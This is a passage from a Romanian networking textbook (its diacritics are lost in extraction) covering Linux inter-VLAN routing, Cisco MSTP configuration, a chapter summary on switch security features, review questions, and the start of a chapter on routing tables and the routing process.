link/ether 00:0c:29:f5:74:94 brd ff:ff:ff:ff:ff:ff 3: eth1.10@eth1: <BROADCAST,MULTICAST UP,LOWER_UP> mtu 1500 qdisc noop state UP link/ether 00:0c:29:f5:74:94 brd ff:ff:ff:ff:ff:ff inet 80.0.10.1/24 scope global eth2.10 4: eth1.20@eth1: <BROADCAST,MULTICAST UP,LOWER_UP> mtu 1500 qdisc noop state UP link/ether 00:0c:29:f5:74:94 brd ff:ff:ff:ff:ff:ff inet 80.0.20.1/24 scope global eth2.20

Implicit, un sistem Linux nu este configurat pentru funcia de rutare, adic nu comut pachete nici chiar ntre reele direct conectate. Pentru efectuarea rutrii inter-VLAN, trebuie activat opiunea de IP forwarding, prin comanda:
root@HQ:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Testm conectivitatea reelei printr-un ping ntre dou staii aflate n VLAN 10, respectiv 20:
A>ping 80.0.20.2 Pinging 80.0.20.2 with 32 bytes of data: Reply Reply Reply Reply from from from from 80.0.20.2: 80.0.20.2: 80.0.20.2: 80.0.20.2: bytes=32 bytes=32 bytes=32 bytes=32 time=19ms time=22ms time=15ms time=21ms TTL=128 TTL=128 TTL=128 TTL=128

Ping statistics for 80.0.20.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 15ms, Maximum = 22ms, Average = 19ms

Din pcate, att configurarea VLAN-urilor prin comanda ip link, ct i activarea rutrii prin modificarea fiierului ip_forward din procfs sunt setri temporare, ele nefiind pstrate la repornirea sistemului. Pentru a obine o configuraie permanent, putem utiliza un script care s ruleze la startup, sau putem edita fiierele /etc/network/interfaces, respectiv /etc/sysctl.conf. Setrile din /etc/network/interfaces sunt procesate de ctre utilitarul mai vechi, vconfig. Dac acesta nu este disponibil pe sistem, trebuie instalat pachetul vlan:
root@HQ:~# apt-get install vlan

Vom defini cte o interfa pentru fiecare VLAN n cadrul fiierului, folosind convenia de nume ethx.y, unde ethx este denumirea interfeei fizice iar y este numrul VLAN-ului. n rest, sintaxa configurrii este identic cu cea utilizat pentru descrierea interfeelor fizice:
auto eth1.10 iface eth1.10 inet static address 80.0.10.1 netmask 255.255.255.0

Configurarea persistent a rutrii se efectueaz net.ipv4.ip_forward n fiierul /etc/sysctl.conf:


net.ipv4.ip_forward = 1

prin

editarea

opiunii

5.6.2 Multiple Spanning Tree Protocol


Odat cu apariia VLAN-urilor n cadrul reelelor Ethernet, s-a ivit necesitatea implementrii mai multor instane de Spanning Tree, astfel nct traficul provenind din VLAN-uri diferite s utilizeze legturi diferite. n cele mai multe reele, ntre oricare dou switch-uri exist mcar un traseu redundant; de exemplu, un switch de acces deine n mod uzual dou legturi de uplink, fiecare conectndu-se la un switch diferit de distribuie. n variantele clasice de STP, bazate pe standardul 802.1D, exist o singur instan de STP; aceasta nseamn c numai o singur topologie lipsit de bucle este activ la un moment dat n reea i c numai una dintre cele dou legturi de uplink a switch-ului de acces va transporta trafic, cealalt fiind blocat. Evident, configurarea echipamentelor astfel nct cele dou uplink-uri s fie utilizate simultan este de preferat unul dintre uplink-uri poate s transporte un set de VLAN-uri, cellalt alt set de VLAN-uri, ntr-o form de load balancing.

O p t i m i z a r e a r e e l e l o r l o c a l e | 179 Pentru a putea efectua aceast operaiune, productorii de echipamente de reea introduc variante proprietare de STP, care implementeaz cte o instan de Spanning Tree pentru fiecare VLAN. Cele mai cunoscute protocoale de acest tip sunt PVST (Per-VLAN Spanning Tree) i PVST+(PerVLAN Spanning Tree Plus), dezvoltate de ctre Cisco. PVST+ reuete s ndeplineasc scopul de distribuire difereniat a traficului din VLAN-uri diferite, ns ridic probleme de scalabilitate: odat cu creterea numrului de VLAN-uri, se mrete numrul instanelor independente de STP. Cum fiecare instan de STP necesit resurse de CPU i memorie, cu ct avem mai multe instane, cu att switch-ul va avea mai puine resurse de procesare la dispoziie pentru funcia sa de baz, cea de comutare a pachetelor. Mai mult dect att, numrul de topologii active diferite depinde de numrul de legturi redundante, i nu de numrul de VLAN-uri. n cazul switch-ului nostru de acces cu dou legturi de uplink, este evident c putem avea doar dou topologii diferite, indiferent de existena n reea a 2, 10 sau 1000 de VLAN-uri. Rularea a 1000 de instane de STP n condiiile n care exist doar dou posibiliti de topologie fr bucle este ineficient. MSTP (Multiple Spanning Tree Protocol) a fost dezvoltat tocmai pentru a adresa problema numrului fie insuficient (802.1D), fie excesiv (PVST+) de instane de STP n reelele cu VLAN-uri. El permite gruparea mai multor VLAN-uri ntr-o singur instan de STP, oferind flexibilitatea necesar configurrii optime a reelei. MSTP este un standard al IEEE, definit iniial n cadrul 802.1s, n 1998; ulterior, a fost integrat n 802.1Q-2005. Dup cum am precizat, MSTP permite asocierea unuia sau mai multor VLAN-uri cu o singur instan de STP. Evident, pot fi implementate mai multe instane, fiecare avnd asociat un grup diferit de VLAN-uri. Practic, ntr-o implementare de MSTP, trebuie decise urmtoarele: cte instane de STP sunt necesare pentru obinerea topologiilor dorite; ce VLAN-uri se mapeaz pe fiecare instan.

Regiuni i instane MSTP


O problem spinoas generat de evoluia STP de-a lungul timpului o reprezint interoperabilitatea dintre diferitele implementri ale protocolului n cadrul aceleiai reele. MSTP este compatibil att cu 802.1D ct i cu PVST+, dar pentru a putea comunica cu ele switch-urile ce ruleaz MSTP trebuie s determine ce versiune a protocolului implementeaz vecinii. Switch-urile care ruleaz MSTP cu aceiai parametri sunt grupate ntr-o regiune MSTP. n cele mai multe reele, o singur regiune MSTP este suficient; o regiune este identificat prin urmtoarele atribute comune tuturor switch-urilor membre: numele regiunii, care o identific i este format din 32 de caractere; revision number, care indic versiunea configuraiei unei regiuni i are o valoare ntre 0 i 65535; tabela de mapare ntre VLAN-uri i instane MSTP, care poate conine maxim 4096 de intrri.

180 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Regiune MST

MSTI 1

CST

IST CST MSTI 2

CST 5-16 Funcionarea instanelor MSTI i a instanei IST n cadrul unei regiuni Pentru a putea comunica cu alte forme de STP din cadrul reelei, fiecare regiune MSTP este considerat drept un black-box, fiind abstractizat printr-un switch fa de celelalte regiuni MSTP sau switch-uri izolate ce ruleaz 802.1D, PVST+ etc. La nivelul reelei globale, o topologie comun este determinat de ctre algoritmul STP ce ia n calcul forma abstract a regiunilor MSTP. n interiorul unei regiuni MSTP, o instan special denumit Internal Spanning Tree (IST) are rolul de a calcula aceast topologie global fr bucle pentru legturile de la grania dintre regiunea de MST i arborele asociat celorlalte entiti STP din ntreaga reea. Practic, instana de IST prezint ntrega regiune drept un singur switch virtual entitilor externe. Maparea mai multor VLAN-uri ntr-o singur instan de STP are loc cu ajutorul instanelor MST (MSTI) dintr-o regiune. Acestea funcioneaz alturi de IST, cruia i se asociaz ntotdeauna numrul de instan MSTI 0. ntr-o regiune MSTP pot exista mai multe MSTI-uri, cu diveri indici (Ex: 1, 2, 3 etc.) i VLAN-uri asociate diferite (Ex: MSTI 1 10, 11, 12; MSTI 2 20, 21, 22; MSTI 3 31, 32, 33 etc.). n Fig. 5-16 este ilustrat modul de operare a dou instane MST, MSTI 1 i MSTI2, alturi de instana implicit a IST-ului, MSTI 0. n cele ce urmeaz, vom exemplifica procesul de configurare a MSTP pe dispozitive Cisco, pe topologia simpl din Fig 5-17. Topologia conine patru VLAN-uri, 10, 20, 30, 40, staiile din interiorul lor fiind conectate la switch-ul de acces Sw3. Dorim s obinem o configuraie MSTP care s dirijeze traficul VLAN-urilor 10 i 20 pe uplink-ul dintre Sw3 i Sw1, iar cel din VLAN-urile 30 i 40 pe uplink-ul dintre Sw3 i Sw2. Dac oricare dintre cele dou link-uri se defecteaz, VLAN-urile transportate pe interfaa respectiv trebuie comutate pe cellalt uplink. Pentru realizarea acestor cerine, va trebui s crem dou instane de MST: 1 i 2. Switch-ul Sw1 va trebui s devin root pe una dintre cele dou instane, iar Sw2 pe cealalt. Sw2 va fi configurat ca root i pentru instana IST, MSTI 0. Presupunem c interfeele dintre switch-uri au fost configurate n mod corect ca trunk-uri; nu se va insista prea mult pe sintaxa comenzilor de configurare MSTP, acestea putnd fi consultate n sursele indicate ca referin la sfritul capitolului.

O p t i m i z a r e a r e e l e l o r l o c a l e | 181 MSTI 1: VLANs 10, 20 MSTI 2: VLANs 30, 40 Fa 0/1


Sw1

Fa 0/1
Sw2

Fa 0/3 Fa 0/2
Sw3

Fa 0/3

5-17 Exemplu de topologie pentru configurarea MSTP Pe switch-ul Sw2 setrile sunt asemntoare, singura excepie fiind prioritile, care sunt configurate astfel nct Sw2 s devin root pe instana 2 i instana 0, cea corespunztoare Internal Spanning Tree-ului.
Sw2(config)#spanning-tree mode mst Sw2(config)#spanning-tree mst configuration Sw2(config-mst)#name REG1 Sw2(config-mst)#instance 1 vlan 10, 20 Sw2(config-mst)#instance 2 vlan 30, 40 Sw2(config-mst)#exit Sw2(config-mst)#spanning-tree mst 2 priority 8192 Sw2(config-mst)#spanning-tree mst 0 priority 8192

Pe Sw3 este necesar numai activarea MSTP i definirea celor dou instane:
Sw3(config)#spanning-tree mode mst Sw3(config)#spanning-tree mst configuration Sw3(config-mst)#name REG1 Sw3(config-mst)#instance 1 vlan 10, 20 Sw3(config-mst)#instance 2 vlan 30, 40

Verificm efectele configuraiei prin dou comenzi de show pe Sw1; prima dintre ele, show spanning-tree mst configuration, afieaz maprile dintre VLAN-uri i instane de MST:
Sw1#show spanning-tree mst configuration Name [REG1] Revision 0 Instances configured 3 Instance Vlans mapped -------- --------------------------------------------------------------------0 1-9,11-19,21-29,31-39,41-4094 1 10,20 2 30,40 --------------------

Cea de-a doua comand, show spanning tree mst, ofer informaii detaliate despre caracteristicile celor trei instane de MSTP (MST0, MST1 i MST0), dintre care cele mai importante sunt adresa root-ului, rolul i starea interfeelor locale ale switch-ului pe fiecare instan, timere etc.
Sw1#show spanning-tree mst ##### MST0 Bridge Root vlans mapped: 1-9,11-19,21-29,31-39,41--4094 address 0019.5684.3700 priority 32768 (32768 sysid 0) address 001e.bdaa.ba80 priority 8192 (8192 sysid 0) port Fa0/1 path cost 0 Regional Root address 001e.bdaa.ba80 priority 8192 (8192 sysid 0) internal cost 200000 rem hops 19 Operational hello time 2 , forward delay 15, max age 20, txholdcount 6 Configured hello time 2 , forward delay 15, max age 20, max hops 20

182 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
Interface ---------------Fa0/1 Fa0/2 ##### MST1 Bridge Root Role ---Root Desg Sts --FWD FWD Cost --------200000 200000 Prio.Nbr -------128.15 128.18 Type -------------------------------P2p P2p 8193 (8192 sysid 1)

vlans mapped: 10,20 address 0019.5684.3700 this switch for MST1 Role ---Desg Desg Sts --FWD FWD Cost --------200000 200000

priority

Interface ---------------Fa0/1 Fa0/2 ##### MST2 Bridge Root

Prio.Nbr -------128.15 128.18

Type -------------------------------P2p P2p 32770 (32768 sysid 2) 8194 (8192 sysid 2) 200000 rem hops 19

vlans mapped: 30,40 address 0019.5684.3700 address 001e.bdaa.ba80 port Fa0/1 Role ---Root Altn Sts --FWD BLK Cost --------200000 200000

priority priority cost

Interface ---------------Fa0/1 Fa0/2

Prio.Nbr -------128.15 128.18

Type -------------------------------P2p P2p

Observm c switch-ul Sw1 este root pe instana MST1, n timp ce pe MST0 i MST2 root-ul este switch-ul cu adresa MAC 001e.bdaa.ba80 i prioritate 8192 (tim c acesta este Sw2). Toate porturile sunt n forwarding, fiind fie root port, fie designated port, cu excepia lui Fa 0/2 n instana MST2, care este blocat, ceea ce ne confirm faptul c traseul pachetelor din VLAN-urile 30 i 40 va fi de la Sw3 la Sw2, ndeplinind cerina initial.

5.7 Concluzii
n cadrul acestui capitol au fost prezentate cteva dintre tehnologiile dezvoltate n vederea optimizrii reelelor locale bazate pe Ethernet, precum i msurile de securitate implementate pe switch-uri pentru prevenirea celor mai des ntalnite atacuri la nivelul 2 al stivei OSI. n domeniul interconectrii LAN-urilor, apare posibilitatea separrii topologiei logice a unei reele de cea fizic, din raiuni de performan, securitate i uurin n administrare. Utilizatorii se conecteaz la interfee de acces ale switch-urilor, care i plaseaz automat ntr-un anumit VLAN. Pe legturile trunchi dintre switch-uri, care multiplexeaz traficul din mai multe VLAN-uri, cadrele sunt marcate cu un VLAN tag, introdus n antetul Ethernet de ctre standardul 802.1q, pentru a putea fi identificate. Deoarece VLAN-urile corespund unor domenii de broadcast i spaii de adrese IP separate, este necesar introducerea unui echipament de reea de nivel 3 (ruter, switch layer 3) pentru asigurarea conectivitii dintre ele, prin procesul de rutare. O a doua direcie important n optimizarea performanei reelelor locale o reprezint legturile agregate, care ajut la mbuntirea limii de band i a disponibilitii legturilor de tip uplink dintre switch-uri. Prin combinarea mai multor interfee fizice ntr-o singur legtur logic se obine att posibilitatea creterii liniare a limii de band, care se poate adapta astfel la nevoile de trafic ale reelei, ct i toleran la defectarea unei interfee fizice, situaie care n mod tradiional genereaz un downtime semnificativ i pierderea de pachete. Distribuirea pachetelor pe interfeele fizice dintr-o legtur agregat poate fi fcut n funcie de adrese MAC, IP i porturi TCP/UDP surs sau destinaie. Dei legturile agregate pot fi configurate manual, se prefer negocierea acestora prin intermediul protocoalelor dedicate precum LACP (Link Aggregation Control Protocol) i PAgP (Port Aggregation Protocol). Opiunile de securitate la nivel de switch au aprut ca soluii la atacuri specifice care exploateaz vulnerabiliti n design-ul echipamentelor de reea i al protocoalelor precum ARP i DHCP. Astfel, limitarea numrului de adrese MAC la nivel de port mpiedic incidente de tip CAM table overflow, MAC address spoofing i DHCP starvation; DHCP Snooping elimin posibilitatea introducerii unui server de DHCP rogue de ctre atacator i stopeaz variantele avansate de DHCP starvation care manipuleaz cmpul CHADDR, iar Dynamic ARP Inspection oprete atacurile de tip ARP poisoning prin care un hacker poate intercepta i ruta traficul dintre dou gazde din aceeai reea local. n cazul n care o bre de securitate, o eroare de configurare sau defectarea unui echipament genereaz

O p t i m i z a r e a r e e l e l o r l o c a l e | 183 cantiti de trafic care pun n pericol buna funcionare a reelei, putem izola interfaa surs cu ajutorul opiunii de storm control. n practic, toate tehnologiile menionate mai sus sunt implementate prin utilitare i comenzi speciale n sistemele de operare ale switch-urilor; am examinat n acest sens Cisco IOS. De asemenea, pe sisteme Linux pot fi configurate interfee de tip trunchi 802.1q, cu utilitarele vconfig i ip link, i legturi agregate, implementate prin driver-ul de bonding i utilitarul ifenslave.

5.7.1 Linux
Comand ip link add Descriere Creare subinterfa virtual a unei interfee fizice, corespunztoare unui VLAN Creare subinterfa virtual a unei interfee fizice, corespunztoare unui VLAN Configurare interfee agregate

vconfig

ifenslave

5.7.2 Cisco IOS


Comand vlan switchport mode switchport access switchport trunk show vlan show interfaces trunk interface type mod/port.X encapsulation dot1q X switchport port-security show port-security ip dhcp snooping show ip dhcp snooping ip arp inspection show ip arp inspection storm control show storm control Descriere Creare VLAN pe switch Definire mod interfa acces sau trunchi Asociere VLAN pentru un port de acces Configurare legtur trunchi Afiare VLAN-uri definite pe switch i porturi asociate Afiare interfee trunchi i VLAN-uri transportate pe ele Creare subinterfa X, pentru configurarea router-on-astick Asocierea VLAN cu o subinterfa pentru configurarea router-on-a-stick Configurare setri port-security pe un port de acces Afiare sumar setri port-security Configurare setri DHCP Snooping Afiare setri DHCP snooping Configurare setri Dynamic ARP Inspection Afiare configuraie i statistici DAI Configurare setri storm control Afiare setri i statistici storm control

184 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

5.8 ntrebri
1. 2. VLAN-urile ndeplinesc urmtoarele funcii: Segmenteaz domeniile de coliziune Segmenteaz domeniile de broadcast Separ topologia logic de topologia fizic Asigur integritatea datelor la nivel 2 Tag-ul de VLAN de tip 802.1q conine cmpurile: Tip interfa VTP domain VLAN ID Priority Code Point

3. Protocolul VTP este folosit pentru negocierea legturilor agregate / Interfeele fizice dintr-o legtur agregat nu pot trimite trafic simultan. Adevrat / Fals Adevrat / Adevrat Fals / Fals Fals / Adevrat 4. 5. Limitarea numrului de adrese MAC pe un port mpiedic atacurile de tip: ARP poisoning IP spoofing DHCP starvation CAM table overflow Utilitarul folosit pe Linux pentru configurarea legturilor agregate se numete: ifconfig ip link ifenslave etherchannel

O p t i m i z a r e a r e e l e l o r l o c a l e | 185

5.9 Referine
[1] Andrew S. Tanenbaum, David J. Wetherall. Computer Networks (5th Edition). 2010 October. [2] IEEE 802.1Q-2005 - IEEE Standard for Local and Metropolitan Area Networks---Virtual Bridged Local Area Networks. IEEE 802.1 Standards. IEEE. Accesat la http://standards.ieee.org/findstds/standard/802.1Q-2005.html [1.09.2012]. [3] IEEE 802.1Q-2011 IEEE Standard for Local and metropolitan area networks--Media Access Control (MAC) Bridges and Virtual Bridged Local Area Networks. IEEE 802.1 Standards. IEEE. Accesat la http://standards.ieee.org/findstds/standard/802.1Q-2011.html [1.09.2012]. [4] IEEE 802.1AX-2008 - IEEE Standard for Local and metropolitan area networks--Link Aggregation. IEEE 802.1 Standards. IEEE. Accesat la http://standards.ieee.org/findstds/standard/802.1AX-2008.html [1.09.2012]. [5] CCNP SWITCH 642-813 Official Certification Guide. David Hucaby. 2010 February. [6] Network Warrior, Second Edition. Gary A. Donahue. 2011 May. [7] Cisco LAN Switching Configuration Handbook, Second Edition. Stephen McQuerry, David Jansen, David Hucaby. 2009 June. [8] Linux Ethernet Bonding Driver HOWTO. Thomas Davis, Willy Tarreau, Constantine Gavrilov, Chad N. Tindel, Janice Girouard, Jay Vosburgh, Mitch Williams. Accesat la http://www.kernel.org/doc/Documentation/networking/bonding.txt [1.09.2012]. [9] IEEE 802.1Q VLAN Tutorial. Graham Shaw. Accesat la http://www.microhowto.info/tutorials/802.1q.html [1.09.2012]. [10] Configure an Ethernet interface as a VLAN trunk (Debian). Graham Shaw. Accesat la http://www.microhowto.info/howto/configure_an_ethernet_interface_as_a_vlan_trunk _on_debian.html [1.09.2012].

P a g e | 186

6 Rutare
Ce se nva n acest capitol? Cine este Edsger Wybe Dijkstra (1930-2002) a fost un om de tiin olandez, cunoscut mai ales pentru algoritmul care i poart numele i pe care se bazeaz protocoalele de rutare OSPF i IS-IS. Domeniile n care i-a mai lsat amprenta includ programarea paralel (prin conceptul de semafor) i sistemele distribuite (self-stabilization). Comunicarea n afara reelei locale a aprut ca o evoluie predictibil a tehnologiei, realizat prin implementarea unor protocoale de adresare ierarhic (IPv4, IPv6) i prin dezvoltarea procesului de rutare. Rutarea este procesul de selectare a unor ci adecvate de transmitere a datelor ntr-o reea, printr-o analiz a informaiilor de adresare de nivel 3, n vederea atingerii destinaiei finale. Capitolul curent trateaz rutarea la nivelul reelelor de calculatoare, inclusiv toate componentele i protocoalele responsabile de succesul acestui proces. Rolul unui ruter Tabela de rutare Tipuri de rute Protocoale de rutare

6.1 Rolul unui ruter


Echipamentele de comutare a cadrelor, precum switch-ul, realizeaz direcionarea adecvat a datelor prin inspecia informaiilor de adresare din antetele adugate la acest nivel. Datorit design-ului neierarhic al adresrii de nivel 2, crearea unei reele globale interconectate prin astfel de echipamente (i implicit adresate doar prin adrese MAC) ar presupune construirea i parcurgerea unor tabele de comutare de dimensiuni foarte mari. Un astfel de proces ar introduce o degradare acut a performanelor cauzat de timpul necesar parcurgerii secveniale a tuturor intrrilor din aceste tabele, precum i de multitudinea de pachete cu adres destinaie broadcast de nivel 2 (FF-FF-FF-FF-FF-FF). Mai precis, fiecare echipament de comutare ar trebui s construiasc o tabel CAM care s conin intrri pentru toate adresele MAC ale tuturor echipamentelor la nivel global, dup care s parcurg toate intrrile din aceast tabel, n cutarea interfeei de ieire. Aa cum este prezentat i n capitolul 4, adresarea IP este gndit ierarhic, acest lucru permind transmiterea informaiilor n mod eficient la nivel global. Cu toate acestea, pentru a realiza distribuirea adecvat a pachetelor la acest nivel, este necesar un nou tip de echipament specializat n analiza informaiilor de adresare IP i n luarea deciziilor de comutare. Ruterul este echipamentul de interconectare care rezolv aceast problem. n ceea ce privete funcionalitatea, un ruter este similar unui switch de nivel 2. Switch-ul primete pachete IP, le inspecteaz i ia decizii privind transmiterea lor n continuare, pe baza informaiilor din antetele de la acest nivel. Totui, un ruter este diferit de analogul su de nivel 2 prin capabilitile sale extinse i procesele complexe de analiz a informaiilor. Din perspectiv hardware, echipamentul de rutare poate fi asemnat unui calculator personal cu mai multe plci de reea, prin intermediul crora poate comunica. Un ruter are componentele de baz ale unui calculator: o surs de alimentare, o unitate central de procesare, memorie RAM, o

R u t a r e | 187 plac de baz (numita asiu), slot-uri de extensie, precum i memorie special n vederea stocrii pe termen lung a informaiilor. Din punct de vedere hardware, un ruter nu este altceva dect un calculator personal specializat n comutarea pachetelor. Aceast specializare este realizat prin specificaiile tehnice ale tuturor componentelor precizate anterior, precum i de o serie de circuite electronice particulare. Acestea poart numele de ASIC-uri (Application Specific Integrated Circuits) i sunt capabile s analizeze informaii privind pachetele de reea fr a fi necesar intervenia unitii centrale de procesare. Putem nelege aceste circuite prin analogie cu procesoarele grafice specializate, care sunt mult mai eficiente n redarea graficii dect procesoarele de uz general. Practic, orice calculator cu mai mult de dou placi de reea conectate poate juca rolul de ruter. Singura diferen ntre acesta i un echipament dedicat const n eficiena oferit de ASIC-uri i de specificaiile detaliate ale componentelor.

6.1.1 Procesul de rutare


Procesul de rutare const n analiza i transmiterea pachetelor ctre destinaia lor final, pe baza informaiilor din antetul de nivel 3. Procesul are loc la nivelul ruterelor i este efectuat individual pentru fiecare pachet n parte. Pentru a transmite un pachet ctre destinaia final, un ruter analizeaz adresa IP destinaie din antetul de nivel 3 al fiecrui pachet i ia o decizie fie privind interfaa de ieire, fie privind urmtorul hop n calea ctre destinaie. Pentru a nelege rutarea este necesar introducerea ctorva concepte i componente noi. Acestea sunt ilustrate la sfritul seciunii, n vederea clarificrii funcionrii lor. Ruta reprezint elementul de baz n procesul de rutare. Rutele pot fi privite ca nite semne de circulaie n lumea reelelor. Acestea indic drumul pe care pachetele trebuie s circule pentru a ajunge la destinaie. O rut este alctuit din dou pri: o regul i o aciune. O rut este definit minimal la nivelul unui ruter prin urmtoarele informaii eseniale (fiind posibile i alte specificri): Adresa reelei destinaie; Masca reelei destinaie; Adresa urmtorului hop (specificat printr-o adres IP) n calea ctre destinaie; Interfaa de ieire. Interpretarea acestor cmpuri este urmtoarea: pentru a ajunge la o destinaie din reeaua specificat prin <adresa reelei destinaie> mpreun cu <masca reelei destinaie>, pachetul trebuie trimis ctre dispozitivul care are adresa IP egal cu adresa din cmpul <adresa urmtorului hop> prin intermediul interfeei <interfaa de ieire>. Dei precizarea adresei urmtorului hop este mereu suficient pentru funcionarea adecvat a unei rute, o rut poate fi specificat i prin precizarea interfeei de ieire. Desigur, o rut specificat printr-o interfa de ieire ntr-un mediu multiaccess, dar care nu include i o adres a hop-ului urmtor, ridic o serie de probleme i poate conduce la netransmiterea pachetelor. Ca msur de precauie, este bine ca rutele s fie specificate folosind adresa IP a urmtorului hop chiar dac n cazul particular al legturilor punct la punct (linii seriale, etc.) o rut poate fi specificat i doar prin interfaa de ieire. Dup cum se poate observa din figura 6-1, fiecare rut conine i informaii cu privire la eficiena sa, pe lng cmpurile prezentate mai sus. Analog reelei de drumuri a unei ri, pot exista mai multe ci pe care o main poate ajunge la destinaie - dar calitatea acestora este variabil. n cazul ruterelor pot exista mai multe ci ctre aceeai destinaie, dar numai una dintre acestea va fi utilizat, i anume, cea considerat cea mai eficient n raport cu un anumit set de criterii. Informaiile pe baza crora este aleas ruta optim sunt prezentate n seciunea urmtoare a acestui capitol.

188 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Aa cum o intersecie poate conine mai multe semnele de circulaie, i ruterele conin mai multe rute, conducnd ctre toate destinaiile finale n care se poate ajunge prin echipamentul respectiv. Totalitatea rutelor optime prezente pe un ruter formeaz tabela de rutare. Adresa reea 194.230.85.0 194.230.85.128 194.230.85.0 194.230.86.0 Masc /26 /26 /24 /24 Next Hop 172.17.0.9 194.230.5.65 199.17.17.0 Interfaa E0 S0 E1 -

6-1: Tabela de rutare cu patru intrri Figura 6-1 prezint o tabel de rutare cu patru intrri. Dup cum se poate observa, acestea sunt aezate n ordinea descresctoare a lungimii mtii de reea. Acest lucru se datoreaz modului n care un ruter parcurge tabela de rutare la primirea unui pachet, pentru a asigura transmiterea adecvat a acestuia. Ceea ce trebuie reinut este faptul c o masc mai lung (coninnd mai muli bii setai la valoarea 1) definete o adres de reea mai specific. O destinaie mai specific va avea mereu prioritate n faa unei destinaii cu un nivel mai nalt de generalitate. n momentul n care un ruter primete un pachet, i analizeaz adresa IP destinaie. n cazul n care aceasta coincide cu una dintre adresele IP configurate pe vreuna dintre interfeele sale, ruterul nu mai trimite pachetul mai departe (pachetul i era destinat lui) ctre procesul de rutare: ruterul preia pachetul i l d spre procesare intern n cadrul nivelelor superioare ale stivei OSI. n caz contrar, acesta analizeaz adresa IP i masca de reea configurate pe interfaa pe care a fost primit pachetul. Ruterul efectueaz operaia de i logic ntre cele dou informaii, reine rezultatul, dup care ruleaz operaia din nou - de data aceasta ntre masca de reea a interfeei pe care a sosit pachetul i adresa IP destinaie. n urma comparaiei celor dou rezultate, ruterul poate determina dac pachetul respectiv trebuie rutat sau nu. n cazul n care cele dou rezultate nu difer, pachetul este orientat ctre o destinaie din cadrul reelei din care a venit. Ca atare, ruterul nu intervine asupra acestui pachet i l ignor. n caz contrar, dac rezultatele difer, ruterul decide naintarea pachetului n cadrul procesului de rutare. n acest moment ruterul ncepe parcurgerea tabelei de rutare. Ruterul ia decizia de rutare individual, pentru fiecare pachet n parte, innd cont numai de informaiile coninute n aceast tabel. Astfel, ruterul parcurge secvenial fiecare intrare din tabela de rutare, n ordinea n care acestea sunt memorate (n funcie de lungimea mtii de reea asociate). Ca i n cadrul pailor anteriori, ruterul realizeaz operaia de i logic ntre masca asociat unei intrri din cadrul tabelei de rutare i adresa IP destinaie a pachetului. Rezultatul obinut este apoi comparat cu adresa IP a reelei asociate, conform intrrii din tabela de rutare care este verificat n acest moment. n cazul n care cele dou adrese coincid, partea de identificare a rutei (adic regula) a fost validat, iar pachetul poate fi naintat conform prii de aciune a rutei (adresa hopului urmtor / interfaa de ieire). n caz contrar, pachetul nu este destinat unei adrese definite de ruta verificat i se poate trece la verificarea urmtoarei rute din tabela de rutare. Acest proces are loc pentru fiecare intrare din tabela de rutare, fie pn la gsirea unei rute valide n vederea naintrii pachetului, fie pn la epuizarea intrrilor din tabela de rutare. n cazul n care pachetul primit nu a putut fi naintat conform tabelei, ruterul va trimite napoi ctre surs un pachet ICMP de tip 3: Destination Unreachable. ntregul proces poate fi observat n cadrul figurii 6-2.

R u t a r e | 189

6-2: Procesul de rutare Modul de decizie al unui ruter este ilustrat n urmtorul exemplu. Vom considera un ruter care conecteaz mai multe reele, dup cum este prezentat n figura 6-3.

190 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
194.230.85.0/26

E0 194.230.85.0/24 E1 S1 194.230.86.0/24

ISP
S0

194.230.85.128/26

6-3: Ruter cu rute ctre 4 reele Vom considera c echipamentul din figura 6-3 are construit o tabel de rutare identic cu cea din figura 6-1 i c acesta primete un pachet cu destinaia 194.230.85.66 pe interfaa S1. Procesul de rutare se desfoar n urmtorii pai: 1. Ruterul ncepe prin extragerea informaiilor privind adresa IP de destinaie a pachetului. 2. Aceasta este comparat cu adresele IP configurate pe toate interfeele ruterului i se observ c acesta nu este un pachet destinat ruterului. 3. Ruterul realizeaz operaia de i logic ntre adresa IP i masca de reea configurate pe interfaa pe care a fost primit pachetul. 4. Ruterul realizeaz operaia de i logic ntre adresa IP de destinaie a pachetului i masca de reea configurat pe interfaa pe care a fost primit pachetul. 5. Cele dou rezultate sunt comparate i se ajunge la concluzia c nu sunt egale. 6. Se trece la parcurgerea tabelei de rutare. Ruterul parcurge prima intrare din tabel. 7. Este realizat operaia de i logic ntre adresa IP destinaie a pachetului primit i masca de reea care corespunde respectivei intrri din tabel, obinndu-se urmtorul rezultat: 194.230.85.64 8. Rezultatul obinut la pasul anterior este comparat cu adresa de reea inclus n prima intrare din tabela de rutare. 9. Se observ c cele dou valori nu sunt egale (194.230.85.64 != 194.230.85.0), i ca atare pachetul nu este rutat conform primei rute. 10. Ruterul parcurge urmtoarea intrare din tabel. 11. Se repeta paii 7-10 pn cnd cele dou valori comparate n pasul 9 sunt egale. n cazul de fa acest lucru va avea loc la verificarea celei de-a treia intrri din tabela de rutare. 12. n momentul n care cele dou valori sunt egale, pachetul este trimis conform informaiilor de rutare din ruta validat. n exemplul de fa pachetul iese prin interfaa E1 ctre dispozitivul urmtor n calea ctre destinaie 194.230.5.65. Dac analizm ndeaproape procesul de rutare descris anterior, i n special tabela de rutare construit, vedem c a 3-a rut se suprapune primelor dou intrri. Se poate vedea astfel c rutele sunt aezate n tabela de rutare n ordinea descresctoare a lungimii mtii de reea. Este eficient ca o cale ctre o reea mai specific s aib prioritate n faa unei ci ctre o reea mai general.

R u t a r e | 191 Concret, pentru un ruter care a construit o tabel de rutare ca n figura 6-1, un pachet cu adresa IP destinaie din intervalele 194.230.85.0-194.230.85.63 sau 194.230.85.128-194.230.85.191 nu va fi transmis conform informaiilor de rutare incluse n cea de-a treia rut. De asemenea, trebuie menionat c adresele pentru hop-urile urmtoare n calea ctre destinaie sunt adresele primului echipament din calea respectiv, reprezentat n figur printr-un nor. Am explicat i exemplificat mai sus procesul clasic de rutare care are loc la nivelul procesorului echipamentului de rutare. Aa cum am amintit la nceputul acestei seciuni, ruterele dedicate conin o serie de circuite electronice speciale capabile s direcioneze pachete fr intervenia procesorului principal. Acest tip de rutare are loc mult mai repede i este condus de un set diferit de reguli. n cazul echipamentelor Cisco acest tip de rutare poarta numele de Cisco Express Forwarding (CEF).

